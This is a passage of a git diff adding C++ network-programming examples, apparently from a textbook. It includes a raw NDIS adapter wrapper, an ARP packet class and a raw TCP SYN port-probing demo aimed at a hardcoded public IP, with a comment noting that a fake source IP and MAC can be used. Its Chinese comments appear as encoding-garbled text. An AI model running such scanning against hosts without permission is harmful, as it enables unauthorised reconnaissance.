::GetLastError(); + return m_hAdapter != INVALID_HANDLE_VALUE; +} + +void CAdapter::CloseAdapter() +{ + if(m_hAdapter != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hAdapter); + m_hAdapter = INVALID_HANDLE_VALUE; + } +} + +BOOL CAdapter::ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery) +{ + if(m_hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + DWORD dw; + BOOL bRet = ::DeviceIoControl( + m_hAdapter, bQuery ? IOCTL_PROTOCOL_QUERY_OID : IOCTL_PROTOCOL_SET_OID, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +BOOL CAdapter::SetFilter(ULONG nFilters) +{ + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA) + ::GlobalAlloc(GPTR, (sizeof(PROTOCOL_OID_DATA) + sizeof(ULONG) - 1)); + + pOidData->Oid = OID_GEN_CURRENT_PACKET_FILTER; + pOidData->Length = sizeof(ULONG); + *((PULONG)pOidData->Data) = nFilters; + + BOOL bRet = ProtoRequest(pOidData, FALSE); + + ::GlobalFree(pOidData); + return bRet; +} + +BOOL CAdapter::ResetAdapter() +{ + DWORD dw; + BOOL bRet = ::DeviceIoControl(m_hAdapter, IOCTL_PROTOCOL_RESET, NULL, 0, NULL, 0, &dw, NULL); + return bRet; +} + +int CAdapter::RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwRead; + if(::ReadFile(m_hAdapter, pBuffer, nLen, &dwRead, lpOverlapped)) + return dwRead; + else + return -1; +} + +int CAdapter::SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwWrite; + if(::WriteFile(m_hAdapter, pBuffer, nLen, &dwWrite, lpOverlapped)) + return dwWrite; + else + return -1; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/protoutils.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/protoutils.h" new file mode 100644 index 0000000..9ebd102 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/protoutils.h" @@ -0,0 +1,66 @@ +//////////////////////////////////////////// +// protoutils.hÎļþ + + + + +#ifndef __PROTOUTILS_H__ +#define __PROTOUTILS_H__ + +#include "nuiouser.h" + +////////////////////////////////////// +// º¯Êý¶¨Òå + +BOOL ProtoStartService(); +void ProtoStopService(); +HANDLE ProtoOpenControlDevice(); + + +////////////////////////////////////// +// CPROTOAdaptersÀ࣬ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ + +#define MAX_ADAPTERS 10 + +class CPROTOAdapters +{ +public: + BOOL EnumAdapters(HANDLE hControlDevice); + + int m_nAdapters; + LPWSTR m_pwszAdapterName[MAX_ADAPTERS]; + LPWSTR m_pwszSymbolicLink[MAX_ADAPTERS]; +protected: + char m_buffer[MAX_ADAPTERS*256]; +}; + +//////////////////////////////////////// +// CAdapterÀ࣬¹ÜÀí°ó¶¨µÄÊÊÅäÆ÷ + +class CAdapter +{ +public: + CAdapter(); + ~CAdapter(); + + // ´ò¿ª¡¢¹Ø±ÕÊÊÅäÆ÷ + BOOL OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn = FALSE); + void CloseAdapter(); + + // ÉèÖùýÂËÊôÐÔ£¬ÈçNDIS_PACKET_TYPE_PROMISCUOUS¡¢NDIS_PACKET_TYPE_DIRECTEDµÈ + BOOL SetFilter(ULONG nFilters); + + // ½ÓÊÕ¡¢·¢ËÍÊý¾Ý + int RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + int SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + + // ÖØÆôϲãNIC¡¢¹ÜÀíOIDÐÅÏ¢ + BOOL ResetAdapter(); + BOOL ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery); + +protected: + HANDLE m_hAdapter; +}; + + +#endif // __PROTOUTILS_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ProtoPacket.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ProtoPacket.cpp" new file mode 100644 index 0000000..ad58b43 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ProtoPacket.cpp" @@ -0,0 +1,116 @@ +//////////////////////////////////////////// +// ProtoPacket.cppÎļþ + +#include +#include +#include +#include "protoutils.h" +#include "ProtoPacket.h" + +CArpPacket::CArpPacket(CAdapter *pAdapter):m_pAdapter(pAdapter) +{ + // ÉèÖùýÂËÀàÐÍ + m_pAdapter->SetFilter( // NDIS_PACKET_TYPE_PROMISCUOUS| + NDIS_PACKET_TYPE_DIRECTED | NDIS_PACKET_TYPE_MULTICAST | NDIS_PACKET_TYPE_BROADCAST); + // ³õʼ»¯ÓÃÓÚÒì²½·¢ËͺͽÓÊÕÊý¾ÝµÄÖصþ½á¹¹ + memset(&m_olRead, 0, sizeof(m_olRead)); + m_olRead.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + memset(&m_olWrite, 0, sizeof(m_olWrite)); + m_olWrite.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); +} + +CArpPacket::~CArpPacket() +{ + ::CloseHandle(m_olRead.hEvent); + ::CloseHandle(m_olWrite.hEvent); +} + +BOOL CArpPacket::SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr) +{ + // ·¢ËÍÕ껺³åÇø + u_char ucFrame[ARPFRAME_SIZE]; + + // ÉèÖÃEthernetÍ· + + ETHeader eh = { 0 }; + memcpy(eh.dhost, pdEtherAddr, 6); + memcpy(eh.shost, psEtherAddr, 6); + eh.type = ::htons(ETHERTYPE_ARP); + memcpy(ucFrame, &eh, sizeof(eh)); + + // ÉèÖÃArpÍ· + ARPHeader ah = { 0 }; + + ah.hrd = htons(ARPHRD_ETHER); + ah.eth_type = htons(ETHERTYPE_IP); + ah.maclen = 6; + ah.iplen = 4; + ah.opcode = htons(nOpcode); + + memcpy(ah.smac, psMac, 6); + memcpy(ah.saddr, &sIPAddr, 4); + memcpy(ah.dmac, pdMac, 6); + memcpy(ah.daddr, &dIPAddr, 4); + + + memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah)); + + // ·¢ËÍ + if(m_pAdapter->SendData(ucFrame, sizeof(ETHeader)+ sizeof(ARPHeader), &m_olWrite) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olWrite.hEvent, 1000*60); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + return FALSE; + } + } + return TRUE; +} + +PARPHeader CArpPacket::WaitReply(DWORD dwMillionSec) +{ + PETHeader pEtherh = (PETHeader)m_ucFrame; + PARPHeader pArph = NULL; + int nRecvLen = sizeof(ETHeader)+ sizeof(ARPHeader); + + // µÈ´ý½ÓÊÕARPÏìÓ¦ + DWORD dwTick = ::GetTickCount(); + DWORD dwOldTick = dwTick; + while(TRUE) + { + if(m_pAdapter->RecieveData(m_ucFrame, nRecvLen, &m_olRead) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olRead.hEvent, dwMillionSec); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + break; + } + else + { + break; + } + } + if(pEtherh->type == ::htons(ETHERTYPE_ARP)) + { + PARPHeader pTmpHdr = (PARPHeader)(pEtherh + 1); + if(pTmpHdr->opcode == ::htons(ARPOP_REPLY)) + { + // ½ÓÊÕµ½ARPÏìÓ¦£¬·µ»Ø + pArph = pTmpHdr; + break; + } + } + + dwOldTick = dwTick; + dwTick = ::GetTickCount(); + if(dwTick - dwOldTick >= dwMillionSec) // ³¬Ê±£¬·µ»Ø + break; + else + dwMillionSec = dwMillionSec - (dwTick - dwOldTick); + } + + return pArph; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ProtoPacket.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ProtoPacket.h" new file mode 100644 index 0000000..0ce3876 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ProtoPacket.h" @@ -0,0 +1,29 @@ +//////////////////////////////////////////////// +// ProtoPacket.hÎļþ + +#ifndef __PROTOPACKET_H__ +#define __PROTOPACKET_H__ + +#include "../common/protoinfo.h" + +#define ARPFRAME_SIZE 100 + +class CArpPacket +{ +public: + CArpPacket(CAdapter *pAdapter); + ~CArpPacket(); + + BOOL SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr); + + PARPHeader WaitReply(DWORD dwMillionSec = 1000*2); + +protected: + CAdapter *m_pAdapter; + u_char m_ucFrame[ARPFRAME_SIZE]; + OVERLAPPED m_olRead; + OVERLAPPED m_olWrite; +}; + +#endif // __PROTOPACKET_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.cpp" new file mode 100644 index 0000000..97deca9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.cpp" @@ -0,0 +1,299 @@ +//////////////////////////////////////////////// +// ScannerDemo.cppÎļþ + +#include "../common/initsock.h" + +#include +#include +#include "ntddndis.h" +#include "protoutils.h" +#include "ProtoPacket.h" + +#include "Iphlpapi.h" +#pragma comment(lib, "Iphlpapi.lib") + +#include "../common/comm.h" + + +DWORD WINAPI SendThread(LPVOID lpParam); +BOOL GetGlobalData(); + +///////////////////////////////////////// +// È«¾ÖÊý¾Ý +u_char g_ucLocalMac[6]; // ±¾µØMACµØÖ· +DWORD g_dwGatewayIP; // Íø¹ØIPµØÖ· +DWORD g_dwLocalIP; // ±¾µØIPµØÖ· +DWORD g_dwMask; // ×ÓÍøÑÚÂë + +CInitSock theSock; + + + + + /* +¼ÆËãTCPαͷУÑéºÍ¡£TCPУÑéºÍ»ùÓÚÈçϼ¸¸öÓò£º + Ô´IPµØÖ· + Ä¿µÄIPµØÖ· + 8λ0Óò + 8λЭÒéÓò + 16λTCP³¤¶È + TCPÍ· + TCPÊý¾Ý + */ + + +void ComputeTcpPseudoHeaderChecksum( + IPHeader *pIphdr, + TCPHeader *pTcphdr, + char *payload, + int payloadlen + ) +{ + char buff[1024]; + char *ptr = buff; + int chksumlen = 0; + ULONG zero = 0; + + // αͷ + // °üº¬Ô´IPµØÖ·ºÍÄ¿µÄIPµØÖ· + memcpy(ptr, &pIphdr->ipSource, sizeof(pIphdr->ipSource)); + ptr += sizeof(pIphdr->ipSource); + chksumlen += sizeof(pIphdr->ipSource); + + memcpy(ptr, &pIphdr->ipDestination, sizeof(pIphdr->ipDestination)); + ptr += sizeof(pIphdr->ipDestination); + chksumlen += sizeof(pIphdr->ipDestination); + + // °üº¬8λ0Óò + memcpy(ptr, &zero, 1); + ptr += 1; + chksumlen += 1; + + // ЭÒé + memcpy(ptr, &pIphdr->ipProtocol, sizeof(pIphdr->ipProtocol)); + ptr += sizeof(pIphdr->ipProtocol); + chksumlen += sizeof(pIphdr->ipProtocol); + + // TCP³¤¶È + USHORT tcp_len = htons(sizeof(TCPHeader) + payloadlen); + memcpy(ptr, &tcp_len, sizeof(tcp_len)); + ptr += sizeof(tcp_len); + chksumlen += sizeof(tcp_len); + + // TCPÍ· + memcpy(ptr, pTcphdr, sizeof(TCPHeader)); + ptr += sizeof(TCPHeader); + chksumlen += sizeof(TCPHeader); + + // ¾»ºÉ + memcpy(ptr, payload, payloadlen); + ptr += payloadlen; + chksumlen += payloadlen; + + // ²¹Æëµ½ÏÂÒ»¸ö16λ±ß½ç + for(int i=0; ichecksum = checksum((USHORT*)buff, chksumlen); +} + +int main() +{ + // »ñÈ¡È«¾ÖÊý¾Ý + GetGlobalData(); + // Æô¶¯·þÎñ + if(!ProtoStartService()) + { + printf(" ProtoStartService() failed %d \n", ::GetLastError()); + return -1; + } + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó + HANDLE hControlDevice = ProtoOpenControlDevice(); + if(hControlDevice == INVALID_HANDLE_VALUE) + { + printf(" ProtoOpenControlDevice() failed() %d \n", ::GetLastError()); + ProtoStopService(); + return -1; + } + // ö¾Ù°ó¶¨µÄϲãÊÊÅäÆ÷ + CPROTOAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" Enume adapter failed \n"); + ProtoStopService(); + return -1; + } + + CAdapter adapter; + // ĬÈÏʹÓõÚÒ»¸öÊÊÅäÆ÷ + if(!adapter.OpenAdapter(adapters.m_pwszSymbolicLink[0], FALSE)) + { + printf(" OpenAdapter failed \n"); + ProtoStopService(); + return -1; + } + + adapter.SetFilter( // NDIS_PACKET_TYPE_PROMISCUOUS| + NDIS_PACKET_TYPE_DIRECTED | + NDIS_PACKET_TYPE_MULTICAST | NDIS_PACKET_TYPE_BROADCAST); + + + // Ä¿µÄIPµØÖ·ºÍҪ̽²âµÄ¶Ë¿ÚºÅ + char szDestIP[] = "219.238.168.74"; + USHORT usDestPort = 80; + + DWORD dwLocalIP = g_dwLocalIP; // ÕâÀïÄú¿ÉÒÔʹÓüٵÄIPµØÖ·ºÍMACµØÖ· + u_char *pLocalMac = g_ucLocalMac; + + + // µÃµ½Íø¹ØµÄMACµØÖ· + u_char arGatewayMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + ULONG ulLen = 6; + if(!::SendARP(g_dwGatewayIP, 0, (ULONG*)arGatewayMac, &ulLen) == NO_ERROR) + { + printf(" È¡µÃÍø¹ØµÄMACµØÖ·³ö´í \n"); + return -1; + } + + DWORD dwDestIP = ::inet_addr(szDestIP); + + // ¹¹½¨TCPÊý¾ÝÕê + char frame[500] = { 0 }; + // ÒÔÌ«Í· + ETHeader etHeader; + memcpy(etHeader.dhost, arGatewayMac, 6); + memcpy(etHeader.shost, pLocalMac, 6); + etHeader.type = ::htons(ETHERTYPE_IP); + memcpy(frame, &etHeader, sizeof(etHeader)); + + // IPÍ· + IPHeader ipHeader = { 0 }; + ipHeader.iphVerLen = (4<<4 | (sizeof(ipHeader)/sizeof(ULONG))); + + ipHeader.ipLength = ::htons(sizeof(IPHeader) + sizeof(TCPHeader)); + + ipHeader.ipID = 1; + ipHeader.ipFlags = 0; + ipHeader.ipTTL = 128; + ipHeader.ipProtocol = IPPROTO_TCP; + ipHeader.ipSource = dwLocalIP; + ipHeader.ipDestination = dwDestIP; + ipHeader.ipChecksum = 0; + ipHeader.ipChecksum = checksum((USHORT*)&ipHeader, sizeof(ipHeader)); + + memcpy(&frame[sizeof(etHeader)], &ipHeader, sizeof(ipHeader)); + + // TCPÍ· + TCPHeader tcpHeader = { 0 }; + tcpHeader.sourcePort = htons(6000); + tcpHeader.destinationPort = htons(0); + tcpHeader.sequenceNumber = htonl(55551); + tcpHeader.acknowledgeNumber = 0; + tcpHeader.dataoffset = (sizeof(tcpHeader)/4<<4|0); + + tcpHeader.flags = TCP_SYN; // #define TCP_SYN 0x02 + tcpHeader.urgentPointer = 0; + + tcpHeader.windows = htons(512); + tcpHeader.checksum = 0; + + + // ÏÂÃæÊÇ̽²â´úÂë¡£×¢Ò⣬ҪʵÏÖɨÃè»°£¬ÔÚÕâÀïÑ­»·Ì½²â¶Ë¿ÚºÅ¼´¿É + { + // ¹¹½¨·â°ü + tcpHeader.destinationPort = htons(usDestPort); + ComputeTcpPseudoHeaderChecksum(&ipHeader, &tcpHeader, NULL, 0); + memcpy(&frame[sizeof(etHeader) + sizeof(ipHeader)], &tcpHeader, sizeof(tcpHeader)); + + printf(" ¿ªÊ¼Ì½²â¡¾%s:%d¡¿... \n\n", szDestIP, usDestPort); + + // ·¢ËÍ·â°ü + int nLen = sizeof(etHeader) + sizeof(ipHeader) + sizeof(tcpHeader); + if(adapter.SendData(frame, nLen) != nLen) + { + printf(" SendData failed \n"); + return 0; + } + + // ½ÓÊÕ·â°ü + char buff[500] = { 0 }; + for(int i=0; i<5; i++) // ×¢Ò⣬ÄúÓ¦¸ÃʹÓÃÒì²½·½Ê½½ÓÊÕÊý¾Ý¡£ÕâÀïʹÓÃÑ­»·ÊÇΪÁË·½±ã + { + adapter.RecieveData(buff, nLen); + ETHeader *pEtherhdr = (ETHeader *)buff; + if(pEtherhdr->type == ::htons(ETHERTYPE_IP)) + { + IPHeader *pIphdr = (IPHeader *)&buff[sizeof(ETHeader)]; + if(pIphdr->ipProtocol == IPPROTO_TCP && pIphdr->ipSource == dwDestIP) + { + TCPHeader *pTcphdr = (TCPHeader *)&buff[sizeof(ETHeader) + sizeof(IPHeader)]; + + if((pTcphdr->flags & TCP_SYN) && (pTcphdr->flags & TCP_ACK)) // #define TCP_ACK 0x10 + { + printf(" ¡¾%s:%d¡¿Open \n", szDestIP, usDestPort); + } + else + { + printf(" ¡¾%s:%d¡¿Closed \n", szDestIP, usDestPort); + } + break; + } + } + } + } + + ProtoStopService(); + + return 0; +} + +BOOL GetGlobalData() +{ + PIP_ADAPTER_INFO pAdapterInfo = NULL; + ULONG ulLen = 0; + + // ΪÊÊÅäÆ÷½á¹¹ÉêÇëÄÚ´æ + ::GetAdaptersInfo(pAdapterInfo,&ulLen); + pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen); + + // È¡µÃ±¾µØÊÊÅäÆ÷½á¹¹ÐÅÏ¢ + if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) + { + if(pAdapterInfo != NULL) + { + memcpy(g_ucLocalMac, pAdapterInfo->Address, 6); + g_dwGatewayIP = ::inet_addr(pAdapterInfo->GatewayList.IpAddress.String); + g_dwLocalIP = ::inet_addr(pAdapterInfo->IpAddressList.IpAddress.String); + g_dwMask = ::inet_addr(pAdapterInfo->IpAddressList.IpMask.String); + } + } + ::GlobalFree(pAdapterInfo); + + printf(" \n -------------------- ±¾µØÖ÷»úÐÅÏ¢ -----------------------\n\n"); + in_addr in; + in.S_un.S_addr = g_dwLocalIP; + printf(" IP Address : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwMask; + printf(" Subnet Mask : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwGatewayIP; + printf(" Default Gateway : %s \n", ::inet_ntoa(in)); + + u_char *p = g_ucLocalMac; + printf(" MAC Address : %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + + printf(" \n \n "); + + + + return TRUE; +} + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.sln" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.sln" new file mode 100644 index 0000000..45392ae --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ScannerDemo", "ScannerDemo.vcproj", "{030FFFDB-5520-40E4-A9D7-54D460DF1365}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {030FFFDB-5520-40E4-A9D7-54D460DF1365}.Debug|Win32.ActiveCfg = Debug|Win32 + {030FFFDB-5520-40E4-A9D7-54D460DF1365}.Debug|Win32.Build.0 = Debug|Win32 + {030FFFDB-5520-40E4-A9D7-54D460DF1365}.Release|Win32.ActiveCfg = Release|Win32 + {030FFFDB-5520-40E4-A9D7-54D460DF1365}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.suo" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.suo" new file mode 100644 index 0000000..884b3ec Binary files /dev/null and "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.suo" differ diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.vcproj" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.vcproj" new file mode 100644 index 0000000..9e194b3 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/ScannerDemo.vcproj" @@ -0,0 +1,321 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/nuiouser.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/nuiouser.h" new file mode 100644 index 0000000..90fb62a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/nuiouser.h" @@ -0,0 +1,36 @@ +// nuiouser.hÎļþ +// ·ÃÎÊProtoDrvÇý¶¯ÐèÒªµÄ³£Á¿ºÍÀàÐÍ£¬Óû§³ÌÐò±ØÐë°üº¬ + + +//#include "ntddndis.h" + + +#ifndef __NUIOUSER__H +#define __NUIOUSER__H + +//#include + + + +#define MAX_LINK_NAME_LENGTH 124 + +typedef struct _PROTOCOL_OID_DATA // ÉèÖúͻñÈ¡ÊÊÅäÆ÷OIDÐÅÏ¢ËùÐèµÄ½á¹¹ +{ + + ULONG Oid; + ULONG Length; + UCHAR Data[1]; + +} PROTOCOL_OID_DATA, *PPROTOCOL_OID_DATA; + + +#define FILE_DEVICE_PROTOCOL 0x8000 + +// 4¸öIOCTLµÄ¹¦ÄÜ·Ö±ðÊÇ£ºÉèÖÃÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬»ñÈ¡ÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬ÖØÖÃÊÊÅäÆ÷£¬Ã¶¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PROTOCOL_SET_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 0 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_QUERY_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 1 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_RESET CTL_CODE(FILE_DEVICE_PROTOCOL, 2 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ENUM_ADAPTERS CTL_CODE(FILE_DEVICE_PROTOCOL, 3 , METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#endif // __NUIOUSER__H \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/protoutils.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/protoutils.cpp" new file mode 100644 index 0000000..0e55f5b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/protoutils.cpp" @@ -0,0 +1,217 @@ +//////////////////////////////////// +// protoutils.cppÎļþ + + +#include +#include +#include +#include +#include +#include "protoutils.h" + + +///////////////////////////////////////////////////////////////// +// ¿ØÖƺ¯Êý + +BOOL ProtoStartService() +{ + BOOL bRet = FALSE; + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + if(!::StartService(hService, 0, NULL)) + { + int nError = ::GetLastError(); + if(nError == ERROR_SERVICE_ALREADY_RUNNING) + { + bRet = TRUE; + } + } + else + { + bRet = TRUE; + } + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); + + if(bRet) + ::Sleep(50); + return bRet; +} + +void ProtoStopService() +{ + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + // µÈ´ý·þÎñÍêÈ«Í£Ö¹ÔËÐÐ + SERVICE_STATUS ss; + ::ControlService(hService, SERVICE_CONTROL_STOP, &ss); + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); +} + +HANDLE ProtoOpenControlDevice() +{ + // ´ò¿ªÇý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\slNdisProt"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +BOOL CPROTOAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_ENUM_ADAPTERS, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszAdapterName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszSymbolicLink[i] = pwsz + 12; // pwsz Ö¸Ïò"\DosDevices\Packet_{}", ¼Ó12ÊÇΪÁËÈ¥µô"\DosDevices\" + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszAdapterName[i] = pwsz; + } + + return TRUE; +} + +////////////////////////////////////////////////////////// + +CAdapter::CAdapter() +{ + m_hAdapter = INVALID_HANDLE_VALUE; +} + +CAdapter::~CAdapter() +{ + CloseAdapter(); +} + +BOOL CAdapter::OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn) +{ + char szFile[1024]; + wsprintf(szFile, _T("\\\\.\\%ws"), pwszSymbolicLink); + + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + m_hAdapter = ::CreateFile(szFile, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + bAsyn ? FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED : FILE_ATTRIBUTE_NORMAL, + NULL); + int n = ::GetLastError(); + return m_hAdapter != INVALID_HANDLE_VALUE; +} + +void CAdapter::CloseAdapter() +{ + if(m_hAdapter != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hAdapter); + m_hAdapter = INVALID_HANDLE_VALUE; + } +} + +BOOL CAdapter::ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery) +{ + if(m_hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + DWORD dw; + BOOL bRet = ::DeviceIoControl( + m_hAdapter, bQuery ? IOCTL_PROTOCOL_QUERY_OID : IOCTL_PROTOCOL_SET_OID, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +BOOL CAdapter::SetFilter(ULONG nFilters) +{ + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA) + ::GlobalAlloc(GPTR, (sizeof(PROTOCOL_OID_DATA) + sizeof(ULONG) - 1)); + + pOidData->Oid = OID_GEN_CURRENT_PACKET_FILTER; + pOidData->Length = sizeof(ULONG); + *((PULONG)pOidData->Data) = nFilters; + + BOOL bRet = ProtoRequest(pOidData, FALSE); + + ::GlobalFree(pOidData); + return bRet; +} + +BOOL CAdapter::ResetAdapter() +{ + DWORD dw; + BOOL bRet = ::DeviceIoControl(m_hAdapter, IOCTL_PROTOCOL_RESET, NULL, 0, NULL, 0, &dw, NULL); + return bRet; +} + +int CAdapter::RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwRead; + if(::ReadFile(m_hAdapter, pBuffer, nLen, &dwRead, lpOverlapped)) + return dwRead; + else + return -1; +} + +int 